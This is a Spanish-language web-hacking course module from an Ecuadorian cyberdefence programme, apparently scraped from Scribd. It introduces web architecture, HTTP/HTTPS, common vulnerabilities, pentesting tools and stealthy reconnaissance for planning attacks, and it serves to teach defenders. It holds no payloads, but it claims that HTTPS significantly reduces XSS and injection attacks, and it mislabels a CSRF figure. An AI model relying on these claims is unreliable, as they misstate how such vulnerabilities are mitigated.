0% encontró este documento útil (0 votos)
4 vistas107 páginas

Curso de Hacking Web en Ciberdefensa

El curso de Ciberdefensa, módulo 4 sobre Hacking Web, aborda la seguridad de aplicaciones web, enseñando a identificar y mitigar vulnerabilidades críticas como inyección SQL y XSS. A través de herramientas prácticas como Burp Suite y OWASP ZAP, los estudiantes aprenderán a realizar pruebas de penetración y a aplicar metodologías de seguridad en entornos reales. Este curso es esencial para formar profesionales capaces de proteger infraestructuras web en un contexto de creciente ciberdelincuencia.

Cargado por

jonathan ruano
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
4 vistas107 páginas

Curso de Hacking Web en Ciberdefensa

El curso de Ciberdefensa, módulo 4 sobre Hacking Web, aborda la seguridad de aplicaciones web, enseñando a identificar y mitigar vulnerabilidades críticas como inyección SQL y XSS. A través de herramientas prácticas como Burp Suite y OWASP ZAP, los estudiantes aprenderán a realizar pruebas de penetración y a aplicar metodologías de seguridad en entornos reales. Este curso es esencial para formar profesionales capaces de proteger infraestructuras web en un contexto de creciente ciberdelincuencia.

Cargado por

jonathan ruano
Derechos de autor
© All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Curso de Ciberdefensa (COCIBER – Ecuador)

Módulo 4 – Hacking Web

Versión 1.0
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Índice de contenidos

Contextualización ___________________________________________________________ 4
Objetivos ___________________________________________________________________ 5
Estructura __________________________________________________________________ 7
4.1. Arquitectura de aplicaciones web ___________________________________________ 9
4.2. Componentes de una aplicación web _______________________________________ 12
4.3. Modelo cliente-servidor __________________________________________________ 14
4.4. Protocolo HTTP/HTTPS __________________________________________________ 16
4.5. Fundamentos de seguridad web ___________________________________________ 18
4.6. Principios de seguridad ___________________________________________________ 19
4.7. Tipos de vulnerabilidades _________________________________________________ 21
4.8. Herramientas básicas de seguridad _________________________________________ 24
4.9. Reconocimiento pasivo y activo ___________________________________________ 27
4.10. Técnicas de recolección de información ____________________________________ 29
4.11. Fingerprinting de servidores y aplicaciones _________________________________ 32
4.12. Enumeración de aplicaciones web ________________________________________ 34
4.13. Enumeración de subdominios ____________________________________________ 36
4.14. Descubrimiento de rutas y archivos _______________________________________ 38
4.15. Inyección SQL _________________________________________________________ 39
4.15.1. Conceptos y tipos de inyección SQL _____________________________________ 40
4.15.2. Técnicas de explotación en inyección SQL ________________________________ 44
4.15.3. Herramientas y métodos de detección de inyecciones SQL ___________________ 47
4.16. Cross-Site Scripting (XSS), tipos de (XSS), explotación y mitigación y ejemplos
prácticos __________________________________________________________________ 51
4.17. Cross-Site Request Forgery (CSRF), conceptos, explotación y técnicas de protección 54

2
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.18. File inclusión (LFI/RFI), conceptos y técnicas, métodos de explotación y mitigación 58


4.19. Desbordamiento de búfer, introducción, técnicas y ejemplos prácticos __________ 62
4.20. Autenticación, autorización y ataques a mecanismos de autenticación __________ 67
4.21. Brute force y diccionario ________________________________________________ 73
4.22. Gestión de sesiones, seguridad en la gestión de sesiones y técnicas de secuestro de
sesión ____________________________________________________________________ 78
4.23. Revisión de código estático y dinámico, análisis manual y automatizado y
herramientas de análisis de código _____________________________________________ 84
4.24. Pruebas automatizadas _________________________________________________ 88
4.25. Uso de herramientas como Burp Suite y OWASP ZAP y automatización de pruebas de
vulnerabilidad ______________________________________________________________ 91
4.26. Introducción a las API, tipos de API (REST, SOAP) y vulnerabilidades comunes en API
__________________________________________________________________________ 97
4.26.1. Pruebas de seguridad en API, técnicas de explotación y herramientas para pruebas
de API ___________________________________________________________________ 100
4.27. Recapitulación / resumen ______________________________________________ 103
Fuentes utilizadas (manuales, artículos, libros, webs, etc.) _________________________ 105
Recursos complementarios (libros, webs, vídeos, películas, herramientas, artículos,
reportajes, etc.) ____________________________________________________________ 107

3
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Contextualización

En un entorno digital cada vez más interconectado, la seguridad de las aplicaciones web
se ha convertido en un pilar fundamental para proteger los datos y los activos críticos de
las organizaciones. Las aplicaciones web son la principal puerta de entrada para la
interacción entre empresas y usuarios y, como consecuencia, son uno de los principales
objetivos de los atacantes. Las vulnerabilidades en estas aplicaciones pueden tener
repercusiones devastadoras, desde la exposición de información confidencial hasta la
interrupción total de servicios esenciales. Por ello, las capacidades para identificar,
explotar y, más importante aún, mitigar estas vulnerabilidades son competencias clave
para cualquier profesional de la ciberseguridad.

El curso de Hacking Web responde a la necesidad urgente de profesionales capacitados


para proteger las infraestructuras web modernas. En un panorama donde las amenazas
evolucionan constantemente, este curso prepara a los estudiantes no solo para
reconocer las debilidades en las aplicaciones, sino también para enfrentarlas con las
técnicas más avanzadas y las mejores prácticas de la industria. A lo largo del curso, los
participantes adquirirán habilidades técnicas que les permitirán abordar desafíos reales
en el ámbito de la seguridad web, desde ataques clásicos como la inyección SQL (SQLi) y
el Cross-Site Scripting (XSS) hasta vulnerabilidades emergentes en API y otros
componentes clave de las aplicaciones.

Este curso se enmarca en el ámbito profesional, donde la capacidad de realizar pruebas


de penetración, conocidas como pentesting, y de asegurar aplicaciones web es altamente
valorada. Las aplicaciones web son el núcleo de operaciones críticas en sectores como
el financiero, el gubernamental, el e-commerce y las telecomunicaciones, entre otros. Un
solo fallo en la seguridad puede resultar en pérdidas económicas multimillonarias y daños
irreparables a la reputación de una organización. En este sentido, los especialistas
formados en seguridad web son piezas fundamentales para mitigar estos riesgos y
garantizar la continuidad operativa de las empresas.

4
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Este curso va más allá de la teoría y pone en manos del alumno herramientas reales y
escenarios prácticos para que puedan aplicar sus conocimientos en situaciones que
enfrentarán en su día a día profesional. En este sentido, el curso no solo enseña a
reconocer vulnerabilidades, sino también a adoptar una mentalidad proactiva para
prevenir ataques antes de que se materialicen. Al usar herramientas avanzadas como
Burp Suite, OWASP ZAP y SQLmap, los estudiantes simularán ataques y pruebas de
seguridad en entornos controlados, lo que les permitirá desarrollar una comprensión
profunda del proceso de hacking ético.

En un contexto donde el ciberdelito se ha incrementado, los profesionales formados en


hacking web son esenciales para anticiparse a las tácticas de los atacantes. Este curso
ofrece a los estudiantes una ventaja competitiva en el mercado laboral, ya que no solo
adquirirán conocimientos técnicos, sino también una habilidad invaluable: pensar como
un atacante para proteger mejor las aplicaciones que gestionan. Además, la demanda de
expertos en seguridad web sigue creciendo, y este curso proporciona las herramientas
necesarias para satisfacer esa demanda en sectores clave.

Al finalizar el curso, los alumnos no solo habrán adquirido competencias técnicas, sino
que habrán interiorizado el valor estratégico que la seguridad web representa en el
entorno empresarial moderno.

Objetivos

A continuación, se presentan los objetivos de aprendizaje de este módulo:

• Comprender la arquitectura de aplicaciones web y sus componentes clave: los


estudiantes podrán identificar los elementos fundamentales de una aplicación
web, como el cliente, el servidor y la base de datos, y entender la función de las
API en su interacción.
• Identificar y analizar vulnerabilidades comunes en aplicaciones web: los alumnos
aprenderán a reconocer fallos de seguridad frecuentes, incluyendo la inyección

5
Curso de Ciberdefensa
Módulo 4 – Hacking Web

SQL, XSS y CSRF, aplicando técnicas de análisis para evaluar riesgos y priorizar
respuestas.
• Utilizar herramientas de reconocimiento y enumeración para la recolección de
información: los estudiantes podrán aplicar técnicas de reconocimiento pasivo y
activo, así como realizar enumeración de subdominios y rutas, usando
herramientas como Whois y Gobuster.
• Evaluar la seguridad en el manejo de autenticación y autorización: los alumnos
aprenderán a detectar debilidades en mecanismos de autenticación, como
ataques de fuerza bruta y diccionario, y aplicar configuraciones seguras para
proteger credenciales y accesos.
• Aplicar técnicas de análisis de código estático y dinámico: los estudiantes
comprenderán cómo realizar revisiones manuales y automatizadas del código
fuente y de ejecución, usando herramientas como SonarQube y OWASP ZAP para
identificar vulnerabilidades en tiempo de desarrollo.
• Automatizar pruebas de seguridad de aplicaciones web: los estudiantes serán
capaces de configurar herramientas como Burp Suite y OWASP ZAP para realizar
pruebas continuas de seguridad, integrando estas prácticas en entornos de CI/CD
para detección temprana de vulnerabilidades.
• Probar la seguridad de API y mitigar vulnerabilidades específicas: los alumnos
desarrollarán habilidades para evaluar API mediante técnicas de inyección, bypass
de autenticación y pruebas de rate limiting, utilizando herramientas como Postman
y Burp Suite.
• Mitigar ataques de secuestro de sesiones y proteger la gestión de tokens: los
estudiantes aprenderán a configurar políticas de seguridad en la gestión de
sesiones, incluyendo el uso de cookies seguras y autenticación multifactor para
prevenir ataques como fijación de sesión y secuestro de tokens.
• Configurar y ejecutar pruebas automatizadas en API: los alumnos podrán
implementar escaneos automáticos para identificar y remediar fallos de seguridad,
integrando estas pruebas en los flujos de desarrollo para proteger las aplicaciones
en cada fase.

6
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Comprender y aplicar metodologías de explotación y mitigación en entornos


web: al finalizar el curso, los estudiantes podrán simular ataques y aplicar
contramedidas en diversos escenarios, evaluando la efectividad de las técnicas de
protección y mitigación en aplicaciones web.

Estructura
Este módulo se separa en los siguientes apartados:

4.1. Arquitectura de aplicaciones web

4.2. Componentes de una aplicación web

4.3. Modelos cliente-servidor

4.4. Protocolo HTTP/HTTPS

4.5. Fundamentos de seguridad web

4.6. Principios de seguridad

4.7. Tipos de vulnerabilidades

4.8. Herramientas básicas de seguridad

4.9. Reconocimiento pasivo y activo

4.10. Técnicas de recolección de información

4.11. Fingerprinting de servidores y aplicaciones

4.12. Enumeración de aplicaciones web

4.13. Enumeración de subdominios

4.14. Descubrimiento de rutas y archivos

7
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.15. Inyección SQL

4.15.1. Conceptos y tipos de inyección SQL

4.15.2. Técnicas de explotación de inyección SQL

4.15.3. Herramientas y métodos de detección de inyección SQL

4.16. Cross-Site Scripting (XSS), tipos de XSS, explotación y mitigación y ejemplos


prácticos

4.17. Cross-Site Request Forgery (CSRF), conceptos, explotación y técnicas de


protección

4.18. File Inclusion (LFI/RFI), conceptos, técnicas y métodos de explotación y mitigación

4.19. Desbordamiento de búfer, introducción, técnicas y ejemplos prácticos

4.20. Autenticación, autorización y ataques a mecanismos de autenticación

4.21. Brute force y diccionario

4.22. Gestión de sesiones, seguridad en la gestión de sesiones y técnicas de secuestro de


sesión

4.23. Revisión de código estático y dinámico, análisis manual y automatizado y


herramientas de análisis de código

4.24. Pruebas automatizadas

4.25. Uso de herramientas como Burp Suite y OWASP ZAP

4.26. Introducción a las API, tipos, vulnerabilidades…

4.26.1. Pruebas de seguridad en API, técnicas de explotación y herramientas para


pruebas

8
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.1. Arquitectura de aplicaciones web

En este apartado, se explorará la arquitectura de aplicaciones web, que describe la


organización y la estructura de los componentes esenciales que permiten la
comunicación entre el cliente, el servidor y la base de datos. Se examinarán los diferentes
tipos de arquitectura y el papel fundamental que desempeñan las API para facilitar la
interacción y el intercambio de datos en aplicaciones modernas. Este análisis
proporcionará una base para comprender cómo trabajan juntos estos elementos para
construir aplicaciones web eficientes y escalables.

Arquitectura de aplicaciones. Fuente: Edteam.

La arquitectura de aplicaciones web describe cómo se estructura y organiza una


aplicación para permitir la comunicación entre sus componentes principales: el cliente,
el servidor y la base de datos. En un modelo típico, el cliente se refiere a la interfaz con
la que los usuarios interactúan, como un navegador web. El servidor gestiona las
solicitudes que envía el cliente, procesa la lógica de la aplicación y, a su vez, se comunica
con la base de datos para acceder y organizar la información necesaria para la aplicación.

9
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Para facilitar esta comunicación y garantizar una interacción eficiente entre los diferentes
componentes, las API (Application Programming Interfaces) desempeñan un rol
fundamental. Las API actúan como intermediarios que permiten que el cliente (front-end)
realice solicitudes al servidor y reciba datos sin necesidad de interactuar directamente
con la base de datos o con la lógica interna de la aplicación. Esto mejora la seguridad y
la modularidad de la aplicación, ya que el cliente solo accede a puntos de entrada
controlados por la API, que define qué operaciones están permitidas y cómo deben
llevarse a cabo.

Existen diferentes tipos de API, cada una diseñada para adaptarse a necesidades
específicas dentro de la arquitectura de la aplicación:

• RESTful API: utilizan el protocolo HTTP para transmitir datos y siguen principios
como el uso de métodos estándar (GET, POST, PUT, DELETE) para interactuar con
los recursos. Las RESTful APIs son ideales para aplicaciones que requieren una
comunicación sencilla y escalable y se destacan por ser sin estado (stateless), lo
cual significa que no guardan información de la sesión en el servidor. Los datos se
suelen intercambiar en formatos como JSON o XML.
• SOAP (Simple Object Access Protocol): es un protocolo basado en XML que
permite el intercambio de información entre aplicaciones a través de una red. Es
más rígido y detallado en su estructura, lo que permite acciones complejas como
transacciones y sesiones. Se utiliza comúnmente en sectores donde la seguridad
y la confiabilidad son primordiales, como los servicios financieros y de salud,
debido a que permite realizar transacciones seguras y estructuradas.
• GraphQL: es un lenguaje de consulta para API que permite a los clientes solicitar
exactamente los datos que necesitan, mejorando la eficiencia al reducir la
sobrecarga de datos. GraphQL es ideal para aplicaciones con requisitos de datos
complejos o donde el rendimiento es crítico, como en aplicaciones móviles que
necesitan minimizar el tiempo de carga. Este tipo de API permite realizar una sola
solicitud para obtener múltiples recursos, evitando la latencia que puede generar
realizar varias llamadas en una API RESTful.

10
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Tipos de API. Fuente: Cyclr.

Además de los tipos de API, la arquitectura de aplicaciones web puede adoptar


diferentes formas estructurales. Las dos arquitecturas más comunes son la arquitectura
de tres capas y la arquitectura de microservicios.

Los beneficios y desafíos de las API en la arquitectura web son los siguientes:

• Beneficios:

o Escalabilidad: las API permiten que nuevas funcionalidades se agreguen sin


alterar la arquitectura central de la aplicación.
o Interoperabilidad: facilitan la integración con servicios externos,
permitiendo a la aplicación acceder a servicios adicionales como pagos,
autenticación y más.
o Modularidad: las API permiten una estructura modular, donde cada
componente de la aplicación puede actualizarse de manera independiente.

11
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Desafíos:

o Seguridad: las API son puntos de acceso a los datos y deben ser protegidas
con autenticación, autorización y encriptación adecuadas.
o Gestión de versiones: es necesario mantener la compatibilidad con
versiones anteriores y gestionar actualizaciones para asegurar una
transición fluida entre versiones.
o Latencia: las llamadas a API pueden aumentar el tiempo de respuesta,
especialmente cuando se integran servicios externos.

Herramientas útiles:

• Postman: ideal para enviar y recibir solicitudes API, permitiendo probar


distintos tipos de API (REST, SOAP y GraphQL) y analizar sus respuestas.
• Swagger: ofrece una interfaz para documentar y explorar API RESTful, lo que
facilita su comprensión y uso por parte de los desarrolladores.

4.2. Componentes de una aplicación web

En este apartado, se analizarán los componentes esenciales de una aplicación web, que
incluyen el cliente, el servidor web, el servidor de aplicaciones y la base de datos.
También se examinará el papel de las API en la comunicación entre estos componentes,
destacando cómo interactúan para formar una aplicación funcional y escalable.

Los componentes de una aplicación web se dividen generalmente en el cliente (front-


end), el servidor web, el servidor de aplicaciones y la base de datos. El cliente es la
interfaz con la que interactúan los usuarios, desarrollado en tecnologías como HTML,
CSS y JavaScript, y es responsable de captar la entrada del usuario y mostrar los
resultados.

12
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Componentes de una aplicación web. Fuente: Platzi.

El servidor web recibe las solicitudes HTTP del cliente y entrega el contenido solicitado.
Este contenido puede incluir archivos estáticos (HTML, CSS, JavaScript) y dinámicos, que
dependen del servidor de aplicaciones para su generación. El servidor de aplicaciones
contiene la lógica de negocio, procesando las solicitudes del usuario y manipulando los
datos según las reglas de negocio definidas.

La base de datos es donde se almacenan y organizan los datos de la aplicación,


facilitando el acceso rápido y eficiente. En este contexto, las API desempeñan un papel
importante al permitir la comunicación entre el cliente y el servidor de aplicaciones, así
como entre el servidor de aplicaciones y otros servicios externos, como pasarelas de
pago y sistemas de autenticación.

13
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Herramientas útiles:

• Postman: ideal para interactuar con API, permitiendo simular solicitudes y


observar las respuestas que los diferentes componentes de la aplicación
pueden generar.
• Fiddler: útil para analizar y manipular el tráfico HTTP entre el cliente y el
servidor web, permitiendo una comprensión más profunda de cómo se envían
y reciben datos.
• Wireshark: para capturar y analizar el tráfico de red, observando cómo se
comunica cada componente de la aplicación.

4.3. Modelo cliente-servidor

En este apartado, se abordará el modelo cliente-servidor, un marco fundamental para las


aplicaciones web que facilita la interacción entre los usuarios y los servidores. Se
analizará cómo este modelo permite distribuir recursos de manera eficiente, haciendo
posible la comunicación entre múltiples clientes y servidores de manera simultánea.

El modelo cliente-servidor es la base de la mayoría de las aplicaciones web, describiendo


cómo se comunica el cliente (usuario) con el servidor. En este modelo, el cliente envía
solicitudes al servidor, que responde con los datos o servicios solicitados. Esta
arquitectura permite que múltiples clientes accedan simultáneamente a los recursos del
servidor, facilitando la distribución de tareas y recursos.

14
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Diagrama cliente-servidor. Fuente: Reactiveprogramming

En un modelo típico, el cliente interactúa con el servidor mediante el protocolo HTTP.


Las aplicaciones distribuidas pueden incluir múltiples servidores, cada uno dedicado a
diferentes tareas, como servidores de aplicaciones, servidores de bases de datos y
servidores de archivos. Este modelo es escalable y se adapta a las necesidades de
aplicaciones que requieren un alto rendimiento y disponibilidad.

Herramientas útiles:

• Netcat: para realizar pruebas de comunicación entre cliente y servidor,


simulando conexiones directas y observando cómo se transmiten los datos.
• Wireshark: para capturar y analizar el tráfico de red, facilitando la comprensión
de cómo se realizan las solicitudes y las respuestas entre el cliente y el servidor.

15
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Burp Suite: útil para observar y manipular el tráfico HTTP entre el cliente y el
servidor en aplicaciones web.

4.4. Protocolo HTTP/HTTPS

En este apartado, se analizarán los protocolos HTTP y HTTPS, fundamentales para la


comunicación en la web. Se explicará cómo funciona cada protocolo, destacando la
importancia de HTTPS para garantizar la seguridad y la confidencialidad de los datos
transmitidos entre el cliente y el servidor. También se explorarán las vulnerabilidades
comunes asociadas a HTTP y cómo HTTPS protege contra estas amenazas.

HTTP (Hypertext Transfer Protocol) permite la transmisión de datos en texto claro, lo


que lo hace vulnerable a ataques de interceptación. Esto significa que cualquier dato
transmitido mediante HTTP puede ser interceptado y leído por terceros. Para
contrarrestar esta vulnerabilidad, se utiliza HTTPS (HTTP Secure), que añade una capa
de seguridad mediante el cifrado SSL/TLS.e

El cifrado SSL/TLS funciona mediante el uso de certificados digitales, que no solo cifran
los datos, sino que también permiten al cliente verificar la identidad del servidor. Estos
certificados son emitidos por autoridades de certificación (CAs), que garantizan que el
servidor es legítimo y confiable. HTTPS asegura la confidencialidad (mediante cifrado),
la integridad (evita modificaciones) y la autenticidad (verificación del servidor).

16
Curso de Ciberdefensa
Módulo 4 – Hacking Web

HTTP vs. HTTPS. Fuente: Adslzone.

Vulnerabilidades y ataques comunes en HTTP:

1. Ataques Man-in-the-Middle (MITM): estos ataques permiten a un tercero


interceptar y manipular la comunicación entre el cliente y el servidor. HTTPS
protege contra MITM al encriptar los datos.
2. Inyecciones de comandos y scripts: debido a la falta de cifrado, HTTP es
susceptible a ataques como XSS e inyecciones, que se reducen
significativamente en conexiones HTTPS bien configuradas.
3. Ataques de degradación (downgrade attacks): los atacantes intentan degradar
la conexión a versiones inseguras de TLS, como TLS 1.0. Una configuración
robusta de HTTPS ayuda a prevenir estos ataques.

Casos de uso de HTTPS:

• Protección de credenciales: HTTPS es esencial para el login y el manejo de


contraseñas.
• Transacciones financieras: cualquier transacción que involucre pagos o
información financiera debe usar HTTPS para proteger los datos sensibles.

17
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Servicios de autenticación: HTTPS se utiliza para proteger tokens y sesiones


de usuario contra robos y manipulaciones.

Herramientas útiles:

• cURL: permite realizar y probar solicitudes HTTP y HTTPS, proporcionando


visibilidad sobre los encabezados y los detalles de la comunicación.
• SSL Labs: evalúa la configuración HTTPS de un servidor web, destacando
vulnerabilidades y áreas de mejora.
• Wireshark: captura y analiza tráfico, mostrando cómo los datos transmitidos
por HTTP están expuestos mientras que los de HTTPS están encriptados.

4.5. Fundamentos de seguridad web

En este apartado, se examinarán los fundamentos de la seguridad web, incluyendo


conceptos y prácticas para proteger aplicaciones de amenazas comunes. Se abordarán
aspectos como autenticación, control de acceso, cifrado y se destacarán las prácticas de
seguridad necesarias para asegurar aplicaciones web en distintos entornos.

La seguridad web se basa en mantener la confidencialidad, la integridad y la


disponibilidad de la información. Asegurar una aplicación web implica implementar
medidas como la autenticación para verificar la identidad de los usuarios y la autorización
para definir los recursos que un usuario puede acceder. El cifrado protege la
confidencialidad de los datos y se emplea tanto en tránsito (mediante HTTPS) como en
reposo (con encriptación de bases de datos).

Prácticas esenciales de seguridad web:

• Control de acceso: implementar listas de control de acceso y autenticación


multifactor (MFA) para garantizar que solo los usuarios autorizados puedan
acceder a recursos específicos.

18
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Seguridad en la gestión de sesiones: uso de cookies seguras, con atributos


HttpOnly y Secure, y el empleo de tokens de sesión para prevenir el secuestro de
sesión.
• Configuraciones seguras: mantener el software actualizado, limitar servicios y
configuraciones innecesarias y asegurar permisos de archivos y carpetas
adecuadamente.

Vulnerabilidades comunes y cómo abordarlas:

• Inyección SQL: prevención mediante el uso de consultas parametrizadas y


validación de entradas.
• Cross-Site Scripting (XSS): utilización de técnicas de sanitización de entradas
y uso de Content Security Policy (CSP) para mitigar el impacto.
• Cross-Site Request Forgery (CSRF): implementación de tokens anti-CSRF para
asegurar que las solicitudes sean legítimas y provengan de usuarios
autorizados.

Herramientas útiles:

• Burp Suite: permite identificar y explotar vulnerabilidades, proporcionando un


análisis exhaustivo de la seguridad de aplicaciones web.
• Nikto: escanea configuraciones inseguras y detecta vulnerabilidades conocidas en
servidores web.
• OWASP ZAP: realiza pruebas automatizadas de seguridad para descubrir y mitigar
vulnerabilidades comunes.

4.6. Principios de seguridad

En este apartado, se analizarán los principios de seguridad básicos, como la


confidencialidad, integridad y disponibilidad (CIA), esenciales para el diseño de sistemas
seguros. Estos principios son la base para proteger la información y asegurar que los
sistemas cumplan con los requisitos de seguridad.

19
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Los principios de seguridad buscan mantener los datos y sistemas protegidos frente a
accesos no autorizados y alteraciones maliciosas. La confidencialidad asegura que solo
los usuarios autorizados puedan acceder a la información, protegiéndola con medidas
como el cifrado. La integridad mantiene la exactitud y la fiabilidad de los datos mediante
técnicas como el hashing y la firma digital, asegurando que no sean modificados sin
autorización. La disponibilidad asegura que los datos estén siempre accesibles para los
usuarios legítimos, mediante respaldos, redundancia y planificación de recuperación ante
desastres.

Triada de seguridad. Fuente: Porthos.

Ejemplos de aplicación:

• Confidencialidad: uso de cifrado AES para proteger información confidencial en


bases de datos.
• Integridad: verificación de integridad mediante el uso de hash MD5 o SHA-256
para detectar alteraciones en los archivos.

20
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Disponibilidad: implementación de sistemas de balanceo de carga y failover para


mantener la disponibilidad de los servicios.

Prácticas adicionales de seguridad basadas en CIA:

• Principio de privilegios mínimos: restringe los permisos de acceso para limitar el


alcance de un ataque.
• Seguridad por capas (defensa en profundidad): uso de múltiples capas de
seguridad, desde el firewall hasta la segmentación de la red, para proteger el
sistema contra amenazas.

Herramientas útiles:

• Tripwire: permite monitorear la integridad de archivos y detectar cambios no


autorizados.
• Wazuh: ofrece monitoreo de seguridad y gestión de eventos para asegurar la
disponibilidad y la integridad del sistema.
• Metasploit: marco para realizar pruebas de seguridad, evaluando la resistencia del
sistema ante amenazas.

4.7. Tipos de vulnerabilidades

Este apartado explora las vulnerabilidades más comunes que afectan a las aplicaciones
web, como inyecciones, Cross-Site Scripting (XSS) y Cross-Site Request Forgery (CSRF).
Comprender estos tipos de vulnerabilidades es fundamental para proteger las
aplicaciones y desarrollar estrategias efectivas de mitigación.

Las aplicaciones web son objetivos frecuentes de ataques debido a su exposición pública.
Los tipos de vulnerabilidades que más afectan a estas aplicaciones incluyen:

1. Inyección SQL: permite a los atacantes manipular las consultas SQL de una
aplicación para extraer datos confidenciales o modificar la base de datos. Se

21
Curso de Ciberdefensa
Módulo 4 – Hacking Web

evita mediante consultas parametrizadas y el uso de ORM (Object-Relational


Mapping).

Inyección SQL. Fuente: PortsWigger.

2. Cross-Site Scripting (XSS): se produce cuando un atacante inyecta scripts


maliciosos en las páginas web vistas por otros usuarios. Este tipo de ataque
permite el robo de cookies, redirección a sitios maliciosos y la ejecución de
acciones no autorizadas en nombre del usuario. Se mitiga mediante la
sanitización de entradas y el uso de políticas de seguridad de contenido (CSP).

22
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Cross-Site Scripting (XSS). Fuente: PortsWigger.

3. Cross-Site Request Forgery (CSRF): explota la confianza que un sitio tiene en el


navegador del usuario para realizar acciones no autorizadas. Se mitiga mediante
el uso de tokens anti-CSRF y validaciones de origen.

Cross-Site Scripting (CSRF). Fuente: PortsWigger.

4. Inyección de comandos: un atacante inserta comandos del sistema operativo en


una aplicación vulnerable, obteniendo control sobre el servidor. Las entradas
deben ser validadas y sanitizadas para evitar esta amenaza.

23
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Vulnerabilidades adicionales:

• Desbordamiento de búfer: cuando se escriben más datos en un área de memoria


de lo que esta puede manejar, se abre la posibilidad de ejecutar código malicioso.
• Vulnerabilidades de autenticación: permiten a los atacantes acceder a sistemas
mediante la explotación de contraseñas débiles, la falta de MFA o controles de
acceso inadecuados.

Herramientas útiles para detectar vulnerabilidades:

• SQLmap: automatiza la detección y explotación de inyecciones SQL,


proporcionando detalles sobre la seguridad de la base de datos.
• XSStrike: herramienta para detectar y mitigar vulnerabilidades XSS, analizando los
scripts en busca de posibles ataques.
• OWASP ZAP: ofrece un análisis de vulnerabilidades automatizado, ideal para la
detección de CSRF y otras amenazas comunes.

4.8. Herramientas básicas de seguridad

En este apartado, se examinarán las herramientas básicas de seguridad que son


esenciales para evaluar y proteger aplicaciones web. Estas herramientas permiten a los
evaluadores de seguridad identificar vulnerabilidades, realizar escaneos de red y analizar
la seguridad de aplicaciones y servidores.

Las herramientas de seguridad son fundamentales para detectar y mitigar


vulnerabilidades en aplicaciones web. Algunas de las herramientas básicas incluyen:

1. Nmap: herramienta de escaneo de red que permite descubrir dispositivos,


puertos y servicios activos. Es crucial para el reconocimiento y la identificación
de servicios vulnerables.

24
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Herramienta nmap. Fuente: Wikipedia.

2. Burp Suite: conjunto de herramientas para pruebas de seguridad web, que


incluye análisis de vulnerabilidades, manipulación de tráfico HTTP y funciones
avanzadas de escaneo.
3. Wireshark: analizador de paquetes que permite capturar y analizar el tráfico de
red, ayudando a detectar actividades sospechosas y ataques de intermediarios.

25
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Herramienta Wireshark. Fuente: Wireshark.

Otras herramientas esenciales:

• Nikto: escáner de servidores web que detecta configuraciones inseguras, archivos


sensibles y vulnerabilidades conocidas.
• Metasploit: marco de pruebas de penetración que ofrece un amplio conjunto de
herramientas para explotar vulnerabilidades y evaluar la seguridad de los sistemas.
• Aircrack-ng: para analizar la seguridad de redes inalámbricas, permitiendo
capturar y analizar paquetes de datos.

Casos de uso de estas herramientas:

• Evaluación de servidores web: Nikto y Burp Suite permiten analizar


configuraciones de seguridad y detectar posibles puntos débiles en servidores y
aplicaciones.

26
Curso de Ciberdefensa
Módulo 4 – Hacking Web

• Análisis de tráfico de red: Wireshark ayuda a identificar anomalías en el tráfico y


a detectar intentos de interceptación.
• Pruebas de penetración: Metasploit permite realizar pruebas controladas de
explotación para evaluar la seguridad del sistema.

4.9. Reconocimiento pasivo y activo

Este apartado explora técnicas avanzadas de reconocimiento pasivo y activo, esenciales


para recopilar información preliminar sobre un objetivo sin ser detectado. Estas técnicas
son el primer paso en la identificación de posibles vulnerabilidades, y un uso correcto de
ellas permite diseñar estrategias de ataque más precisas y efectivas.

El reconocimiento pasivo se enfoca en recolectar información sin interactuar


directamente con el objetivo, minimizando el riesgo de detección. Herramientas como
Whois y Shodan permiten acceder a datos públicos y registros que revelan detalles sobre
la infraestructura del objetivo. Google Dorks y el análisis de redes sociales también son
técnicas comunes en el reconocimiento pasivo, ya que aprovechan información pública
para descubrir detalles relevantes.

Por su parte, el reconocimiento activo implica interactuar directamente con el sistema


objetivo, utilizando técnicas como el escaneo de puertos con Nmap para identificar
servicios, sistemas operativos y versiones de software. Esta interacción directa permite
detectar servicios expuestos que podrían ser explotados, pero también incrementa el
riesgo de ser detectado, ya que genera tráfico visible para el sistema.

Técnicas de recolección de información:

1. Whois: extrae información de registro de dominio, proporcionando


detalles sobre los dueños del dominio y servidores DNS asociados.
2. Google Dorks: utiliza operadores avanzados de búsqueda para localizar
archivos sensibles, errores de configuración y otras vulnerabilidades.

27
Curso de Ciberdefensa
Módulo 4 – Hacking Web

3. DNS Enumeration: mediante herramientas como dnsenum y Fierce,


permite obtener registros DNS detallados, revelando subdominios,
servidores de correo y otras configuraciones del dominio.
4. Escaneo de puertos con Nmap: realiza una auditoría de servicios abiertos
y versiones de software, utilizando escaneos específicos como SYN Scan y
OS Detection para obtener más precisión.
5. Fingerprinting de aplicaciones: técnicas para identificar aplicaciones y
servidores mediante encabezados HTTP y respuestas de servidor,
utilizando herramientas como WhatWeb y Wappalyzer.

Uso de Wapplyzer. Fuente: Shodan.

Ejemplos prácticos de reconocimiento activo y pasivo:

• Investigación en redes sociales: recopilación de datos sobre empleados y


tecnologías utilizadas mediante perfiles de LinkedIn y otras redes profesionales.
